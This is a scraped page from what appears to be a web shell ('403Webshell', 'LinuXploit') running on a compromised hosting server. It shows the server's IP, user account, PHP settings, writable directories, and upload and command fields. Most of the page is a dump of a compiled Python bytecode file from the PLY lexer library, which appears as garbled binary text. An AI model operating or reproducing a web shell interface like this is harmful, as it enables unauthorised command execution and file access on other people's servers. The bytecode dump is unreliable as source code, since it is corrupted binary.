403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.216.237.210
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/ply/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/ply/__pycache__/lex.cpython-37.opt-1.pyc
B

��V���
@s"dZdZddlZddlZddlZddlZddlZddlZyejej	fZ
Wnek
rdee
fZ
YnXe�d�ZGdd�de�ZGdd�de�ZGdd	�d	e�ZGd
d�de�ZGdd
�d
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZGdd�de�Zd$dd�Zd%d d!�Zd"d#�Z e Z!dS)&z3.8�Nz^[a-zA-Z0-9_]+$c@seZdZdd�ZdS)�LexErrorcCs|f|_||_dS)N)�args�text)�self�message�s�r�8/opt/alt/python37/lib/python3.7/site-packages/ply/lex.py�__init__:szLexError.__init__N)�__name__�
__module__�__qualname__r
rrrr	r9src@seZdZdd�Zdd�ZdS)�LexTokencCsd|j|j|j|jfS)NzLexToken(%s,%r,%d,%d))�type�value�lineno�lexpos)rrrr	�__str__AszLexToken.__str__cCst|�S)N)�str)rrrr	�__repr__DszLexToken.__repr__N)rrr
rrrrrr	r@src@s4eZdZdd�Zdd�Zdd�Zdd�ZeZeZd	S)
�	PlyLoggercCs
||_dS)N)�f)rrrrr	r
LszPlyLogger.__init__cOs|j�||d�dS)N�
)r�write)r�msgr�kwargsrrr	�criticalOszPlyLogger.criticalcOs|j�d||d�dS)Nz	WARNING: r)rr)rrrrrrr	�warningRszPlyLogger.warningcOs|j�d||d�dS)NzERROR: r)rr)rrrrrrr	�errorUszPlyLogger.errorN)	rrr
r
rrr�info�debugrrrr	rKsrc@seZdZdd�Zdd�ZdS)�
NullLoggercCs|S)Nr)r�namerrr	�__getattribute__^szNullLogger.__getattribute__cOs|S)Nr)rrrrrr	�__call__aszNullLogger.__call__N)rrr
r#r$rrrr	r!]sr!c@s|eZdZdd�Zddd�Zddd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZeZdS)�LexercCs�d|_d|_i|_i|_i|_d|_g|_d|_i|_i|_	i|_
d|_d|_d|_
d|_d|_d|_d|_d|_d|_d|_d|_d|_dS)N�INITIALr��F)�lexre�	lexretext�
lexstatere�lexstateretext�lexstaterenames�lexstate�
lexstatestack�lexstateinfo�lexstateignore�lexstateerrorf�lexstateeoff�
lexreflags�lexdatar�lexlen�	lexerrorf�lexeoff�	lextokens�	lexignore�lexliterals�	lexmoduler�lexoptimize)rrrr	r
ts.zLexer.__init__Nc	Cs�t�|�}|r�i}x�|j��D]|\}}g}xX|D]P\}}g}	xB|D]:}
|
rR|
ds^|	�|
�qB|	�t||
dj�|
df�qBWq0W|�||	f�|||<qW||_i|_x(|j��D]\}}t||j�|j|<q�W||_|S)Nrr()�copyr+�items�append�getattrrr2r<)r�object�cZnewtab�keyZritemZnewreZcreZfindexZ	newfindexr�efrrr	�clone�s(


&zLexer.cloner'c	Cs�t|tj�rtd��|�d�d}tj�||�d}t|d����}|�	d|t
f�|�	dtt��|�	dt|j
��|�	d	t|j��|�	d
t|j��|�	dt|j��i}xb|j��D]T\}}g}	x>t||j||j|�D]"\\}
}}}
|	�|t||
�f�q�W|	||<q�W|�	dt|��|�	d
t|j��i}x,|j��D]\}}|�rh|jnd||<�qTW|�	dt|��i}x,|j��D]\}}|�r�|jnd||<�q�W|�	dt|��WdQRXdS)Nz&Won't overwrite existing lextab module�.���z.py�wzJ# %s.py. This file automatically created by PLY (version %s). Don't edit!
z_tabversion   = %s
z_lextokens    = %s
z_lexreflags   = %s
z_lexliterals  = %s
z_lexstateinfo = %s
z_lexstatere   = %s
z_lexstateignore = %s
z_lexstateerrorf = %s
z_lexstateeoff = %s
)�
isinstance�types�
ModuleType�IOError�split�os�path�join�openr�__version__�repr�__tabversion__r9r4r;r0r+r?�zipr,r-r@�_funcs_to_namesr1r2rr3)r�lextab�	outputdirZ
basetabmodule�filenameZtfZtabre�	statename�lre�titem�pat�funcZretext�renamesZtaberrrEZtabeofrrr	�writetab�s6(zLexer.writetabc	CsZt|tj�r|}ntd|�tj|}t|dd�tkr@td��|j	|_
|j|_|j
|_|j
t|j�B|_|j|_|j|_i|_i|_xh|j��D]Z\}}g}g}x4|D],\}}	|�t�||jtjB�t|	|�f�q�W||j|<||j|<q�Wi|_x&|j��D]\}}
||
|j|<�qWi|_ x&|j!��D]\}}
||
|j |<�q0W|�"d�dS)Nz	import %sZ_tabversionz0.0zInconsistent PLY versionr&)#rJrKrL�exec�sys�modulesrArU�ImportErrorZ
_lextokensr9Z_lexreflagsr4Z_lexliteralsr;�set�
lextokens_allZ
_lexstateinfor0Z_lexstateignorer1r+r,Z_lexstaterer?r@�re�compile�VERBOSE�_names_to_funcsr2Z_lexstateerrorfr3Z
_lexstateeoff�begin)rZtabfile�fdictrXr[r\r]Ztxtitemr^Z	func_namerErrr	�readtab�s8
(
z
Lexer.readtabcCs8|dd�}t|t�std��||_d|_t|�|_dS)Nr(zExpected a stringr)rJ�StringTypes�
ValueErrorr5r�lenr6)rrrCrrr	�input�s
zLexer.inputcCsd||jkrtd��|j||_|j||_|j�|d�|_|j�|d�|_	|j
�|d�|_||_dS)NzUndefined stater')
r+rpr)r,r*r1�getr:r2r7r3r8r.)r�staterrr	rls
zLexer.begincCs|j�|j�|�|�dS)N)r/r@r.rl)rrtrrr	�
push_stateszLexer.push_statecCs|�|j���dS)N)rlr/�pop)rrrr	�	pop_stateszLexer.pop_statecCs|jS)N)r.)rrrr	�
current_state!szLexer.current_statecCs|j|7_dS)N)r)r�nrrr	�skip'sz
Lexer.skipcCs~|j}|j}|j}|j}�x�||k�r|||kr<|d7}q�x�|jD]�\}}|�||�}|s`qFt�}|��|_|j	|_	||_|j
}	||	\}
|_|
s�|jr�|��|_|S|��}P|��}||_
||_||_|
|�}|s�|j}|j}P|j�s(|j|jk�r(td|
jj|
jj|
j|jf||d���|SW|||jk�rrt�}|||_|j	|_	|j|_||_|d|_|S|j�r�t�}|j|d�|_|j	|_	d|_||_
||_||_|�|�}||jk�r�td||||d���|j}|�s�q|S||_td|||f||d���qW|j�r\t�}d|_d|_|j	|_	||_||_
||_|�|�}|S|d|_|jdk�rztd��dS)	Nr(z4%s:%d: Rule '%s' returned an unknown token type '%s'rz&Scanning error. Illegal character '%s'z"Illegal character '%s' at index %d�eofr'z"No input string given with input())rr6r:r5r)�matchr�grouprr�	lastindexr�end�lexerZlexmatchr=rgr�__code__�co_filename�co_firstlinenorr;r7r8�RuntimeError)rrr6r:r5r)�lexindexfunc�m�tok�ir_Znewtokrrr	�token1s�




"

zLexer.tokencCs|S)Nr)rrrr	�__iter__�szLexer.__iter__cCs|��}|dkrt�|S)N)r��
StopIteration)r�trrr	�next�sz
Lexer.next)N)r')rrr
r
rFrarnrrrlrurwrxrzr�r�r��__next__rrrr	r%ss

%(

nr%cCst|d|j�S)N�regex)rA�__doc__)r_rrr	�
_get_regex�sr�cCs0t�|�}|j��}|j|jkr,|�|j�|S)N)rc�	_getframe�	f_globalsr>�f_locals�update)Zlevelsr�ldictrrr	�get_caller_module_dict�s


r�cCsJg}x@t||�D]2\}}|r8|dr8|�||df�q|�|�qW|S)Nrr()rVr@)Zfunclist�namelist�resultrr"rrr	rW�srWcCsHg}x>|D]6}|r6|dr6|�||d|df�q
|�|�q
W|S)Nrr()r@)r�rmr�ryrrr	rk�s
rkcCsj|sgSd�|�}y�t�|tj|B�}dgt|j���d}|dd�}x�|j��D]z\}}	|�|d�}
t	|
�t
jt
jfkr�|
||f||	<|||	<qV|
dk	rV|||	<|�
d�dkr�d||	<qVd||f||	<qVW||fg|g|gfStk
�rdtt|�d�}|dk�rd}t|d|�|||�\}}
}t||d�|||�\}}}|||
|||fSXdS)N�|r(�ignore_r)NN�)rQrhrirj�max�
groupindex�valuesr?rsrrK�FunctionType�
MethodType�find�	Exception�intrq�_form_master_re)Zrelist�reflagsr��toknamesr�r)r�Z
lexindexnamesrr�Zhandler�Zllistr\ZlnamesZrlistZrreZrnamesrrr	r��s2



r�cCs�d}|�d�}x0t|dd�d�D]\}}||kr"|dkr"Pq"W|dkrZt|d|��}nd}d|krnt|�}d�||d��}||fS)Nr(�_�ANY)r&)rN�	enumerate�tuplerQ)r�namesZnonstate�partsr��part�statesZ	tokennamerrr	�_statetokens
r�c@sfeZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�LexerReflectNrcCsL||_d|_g|_||_ddi|_t�|_d|_|dkrBtt	j
�n||_dS)Nr&�	inclusiveF)r�Z
error_func�tokensr��	stateinforfrdrrrc�stderr�log)rr�r�r�rrr	r
/s
zLexerReflect.__init__cCs$|��|��|��|��dS)N)�
get_tokens�get_literals�
get_states�	get_rules)rrrr	�get_all:szLexerReflect.get_allcCs|��|��|��|jS)N)�validate_tokens�validate_literals�validate_rulesr)rrrr	�validate_allAszLexerReflect.validate_allcCsp|j�dd�}|s(|j�d�d|_dSt|ttf�sL|j�d�d|_dS|sf|j�d�d|_dS||_dS)Nr�zNo token list is definedTztokens must be a list or tupleztokens is empty)r�rsr�rrJ�listr�r�)rr�rrr	r�HszLexerReflect.get_tokenscCsTi}xJ|jD]@}t�|�s.|j�d|�d|_||krD|j�d|�d||<qWdS)NzBad token name '%s'TzToken '%s' multiply definedr()r��_is_identifierr|r�rr)rZ	terminalsryrrr	r�\s
zLexerReflect.validate_tokenscCs |j�dd�|_|jsd|_dS)N�literalsr')r�rsr�)rrrr	r�gszLexerReflect.get_literalscCsnyBx<|jD]2}t|t�r$t|�dkr
|j�dt|��d|_q
WWn&tk
rh|j�d�d|_YnXdS)Nr(z.Invalid literal %s. Must be a single characterTzIInvalid literals specification. literals must be a sequence of characters)r�rJrorqr�rrT�	TypeError)rrCrrr	r�mszLexerReflect.validate_literalscCs�|j�dd�|_|jr�t|jttf�s:|j�d�d|_n�x�|jD]�}t|t�r\t|�dkrv|j�dt	|��d|_qB|\}}t|t
�s�|j�dt	|��d|_qB|dks�|dks�|j�d	|�d|_qB||jkr�|j�d
|�d|_qB||j|<qBWdS)Nr�z)states must be defined as a tuple or listTr�zMInvalid state specifier %s. Must be a tuple (statename,'exclusive|inclusive')zState name %s must be a stringr��	exclusivez:State type for state %s must be 'inclusive' or 'exclusive'zState '%s' already defined)r�rsr�rJr�r�r�rrqrTror�)rrr"Z	statetyperrr	r�xs0

zLexerReflect.get_statesc	CsRdd�|jD�}i|_i|_i|_i|_i|_i|_x"|jD]}g|j|<g|j|<q<Wt|�dkrz|j	�
d�d|_
dS�x�|D�]x}|j|}t||j�\}}||j|<t|d��rX|dkr�x�|D]}||j|<q�Wn||dkr�xr|D]}||j|<q�WnZ|d	k�r2|j
j}|j
j}|j	�
d
|||j�d|_
n$x�|D]}|j|�||f��q8Wq�t|t��r�|d	k�r�x|D]}||j|<�qtWd|k�r�|j	�d|�nD|dk�r�|j	�
d
|�d|_
n$x8|D]}|j|�||f��q�Wq�|j	�
d|�d|_
q�Wx$|j��D]}|jdd�d��qWx&|j��D]}|jdd�dd��q2WdS)NcSs g|]}|dd�dkr|�qS)Nr�Zt_r)�.0rrrr	�
<listcomp>�sz*LexerReflect.get_rules.<locals>.<listcomp>rz+No rules of the form t_rulename are definedTr$rr{�ignorez,%s:%d: Rule '%s' must be defined as a string�\z#%s contains a literal backslash '\'z'Rule '%s' must be defined as a functionz&%s not defined as a function or stringcSs|djjS)Nr()r�r�)�xrrr	�<lambda>��z(LexerReflect.get_rules.<locals>.<lambda>)rDcSst|d�S)Nr()rq)r�rrr	r��r�)rD�reverse)r�r��funcsym�strsymr��errorf�eoffr�rqr�rr��hasattrr�r�r�rr@rJrorr��sort)	rZtsymbolsrrr�r��tokname�line�filerrr	r��sb












zLexerReflect.get_rulescCs��xz|jD�]n}�x�|j|D�]r\}}|jj}|jj}t�|�}|j�|�|j	|}t
|tj�rjd}nd}|jj
}	|	|kr�|j�d|||j�d|_q|	|kr�|j�d|||j�d|_qt|�s�|j�d|||j�d|_qyJt�d|t|�ftj|jB�}
|
�d��r*|j�d	|||j�d|_Wqtjk
�r�}zB|j�d
|||j|�dt|�k�rz|j�d|||j�d|_Wdd}~XYqXqW�x|j|D�]\}}
|j	|}|d
k�r�|j�d|�d|_�q�||jk�r|�d�dk�r|j�d||�d|_�q�y@t�d||
ftj|jB�}
|
�d��rN|j�d|�d|_WnTtjk
�r�}z2|j�d||�d|
k�r�|j�d|�d|_Wdd}~XYnX�q�W|j|�s�|j|�s�|j�d|�d|_|j�|d�}|r
|}|jj}|jj}t�|�}|j�|�t
|tj��r(d}nd}|jj
}	|	|k�rX|j�d|||j�d|_|	|kr
|j�d|||j�d|_q
Wx|jD]}|�|��q�WdS)Nr�r(z'%s:%d: Rule '%s' has too many argumentsTz%%s:%d: Rule '%s' requires an argumentz2%s:%d: No regular expression defined for rule '%s'z
(?P<%s>%s)r'z<%s:%d: Regular expression for rule '%s' matches empty stringz3%s:%d: Invalid regular expression for rule '%s'. %s�#z6%s:%d. Make sure '#' in rule '%s' is escaped with '\#'rz'Rule '%s' must be defined as a functionr�rz-Rule '%s' defined for an unspecified token %sz5Regular expression for rule '%s' matches empty stringz,Invalid regular expression for rule '%s'. %sz/Make sure '#' in rule '%s' is escaped with '\#'zNo rules defined for state '%s')r�r�r�r�r��inspectZ	getmodulerd�addr�rJrKr��co_argcountr�rrr�rhrirjr�r|r�r�r�r�rs�validate_module)rrt�fnamerr�r��moduler�Zreqargs�nargsrC�er"�rZefuncrrr	r��s�

 







zLexerReflect.validate_rulescCs�t�|�\}}t�d�}t�d�}i}|d7}xv|D]n}|�|�}|sP|�|�}|r�|�d�}	|�|	�}
|
sv|||	<n$t�|�}|j�	d|||	|
�d|_	|d7}q4WdS)Nz\s*def\s+(t_[a-zA-Z_0-9]*)\(z\s*(t_[a-zA-Z_0-9]*)\s*=r(z7%s:%d: Rule %s redefined. Previously defined on line %dT)
r�Zgetsourcelinesrhrir|r}rsZ
getsourcefiler�r)rr��linesZlinenZfreZsreZ	counthashr�r�r"�prevrZrrr	r�@s$








zLexerReflect.validate_module)Nr)rrr
r
r�r�r�r�r�r�r�r�r�r�rrrr	r�.s
Bgr�FrXc
%
s�|dkrd}d}
ddi}t�}||_|	dkr6ttj�}	|rL|dkrLttj�}|rT|��r��fdd�t��D�}
t|
�}
d|
kr�tj|
dj|
d<nt	d�}
|
�
d	�}|r�t|t�r�d
|kr�|d
|}t
|
|	|d�}|��|s�|��r�td��|�r6|�r6y |�||
�|ja|ja|a|Stk
�r4YnX|�rf|�d
|j�|�d|j�|�d|j�t�|_x|jD]}|j�|��qvWt|jttf��r�t|jd��� |j�|_!n|j|_!|jt|j!�B|_"|j}i}x�|D]�}g}xX|j#|D]J\}}|j$j%}|j$j&}|�'d|t(|�f�|�r�|�d|t(|�|��q�Wx@|j)|D]2\}}|�'d||f�|�rR|�d|||��qRW|||<�q�W|�r�|�d�xt|D]l}t*||||
|j+�\}}}||j,|<||j-|<||j.|<|�r�x&t/|�D]\}}|�d|||��q�W�q�Wxl|�0�D]`\}}|dk�r&|dk�r&|j,|�1|j,d�|j-|�1|j-d�|j.|�1|j.d��q&W||_2|j,d|_3|j-d|_4||_5|j6|_7|j7�
dd�|_8|j9|_:|j9�
dd�|_;|j;�s�|	�<d�|j=|_>|j=�
dd�|_?x�|�0�D]�\} }|dk�r^| |j9k�r<|	�<d| �| |j6k�r�|j8�r�|	�<d| �nJ|dk�r| |j9k�r�|j9�
dd�|j9| <| |j6k�r|j6�
dd�|j6| <�qW|ja|ja|a|�r�|�r�|dk�rDt|t@jA��r�|j}!nNd
|k�r�|
d}!n:|�Bd
�}"d
� |"dd��}#tCd|#�tDtj|#dd�}!tEjF�G|!�}y|�H||�Wn6tIk
�r�}$z|	�<d||$f�Wdd}$~$XYnX|S)NrXr&r�csg|]}|t�|�f�qSr)rA)r��k)r�rr	r�wszlex.<locals>.<listcomp>�__file__rr��__package__rG)r�r�zCan't build lexerzlex: tokens   = %rzlex: literals = %rzlex: states   = %rrz
(?P<%s>%s)z(lex: Adding rule %s -> '%s' (state '%s')z#lex: ==== MASTER REGEXS FOLLOW ====z"lex: state '%s' : regex[%d] = '%s'r'zNo t_error rule is definedr�z1No error rule is defined for exclusive state '%s'z2No ignore rule is defined for exclusive state '%s'rHz	import %sz#Couldn't write lextab module %r. %s)Jr%r=rrcr��dir�dictrdr�r�rsrJrr�r�r��SyntaxErrorrnr�rrr�rerr�r�r�rfr9r�r�r�rrQr;rgr�r�r�r�r@r�r�r�r�r+r,r-r�r?�extendr0r)r*r4r�r1r:r�r2r7rr�r3r8rKrLrNrbrArOrP�dirnamerarM)%r�rBr �optimizerXr�ZnowarnrYZdebuglogZerrorlogr�r�ZlexobjZ_itemsZpkgZlinforyZregexsrtZ
regex_listr�rr�r�r"r�r)Zre_textZre_namesr�r�styperZsrcfiler�Zpkgnamer�r)r�r	�lex\s�















$r�cCs�|sVy&tjd}t|�}|��}|��Wn*tk
rTtj�d�tj��}YnX|rb|j	}nt	}||�|rz|j
}nt
}x0|�}|s�Ptj�d|j|j|j
|jf�q�WdS)Nr(z/Reading from standard input (type EOF to end):
z(%s,%r,%d,%d)
)rc�argvrR�read�close�
IndexError�stdoutr�stdinrrr�rrrr)r��datarZr�_inputZ_tokenr�rrr	�runmains*
r�cs�fdd�}|S)Ncs t�d�rt��|_n�|_|S)Nr$)r�r�r�)r)r�rr	�	set_regex?s
zTOKEN.<locals>.set_regexr)r�r�r)r�r	�TOKEN>sr�)
NNFFrXrFNNN)NN)"rSrUrhrcrKr>rOr�Z
StringTypeZUnicodeTypero�AttributeErrorr�bytesrir�r�rrBrrr!r%r�r�rWrkr�r�r�r�r�r��Tokenrrrr	�<module>"sD
F

(0
@
"

Youez - 2016 - github.com/yon3zu
LinuXploit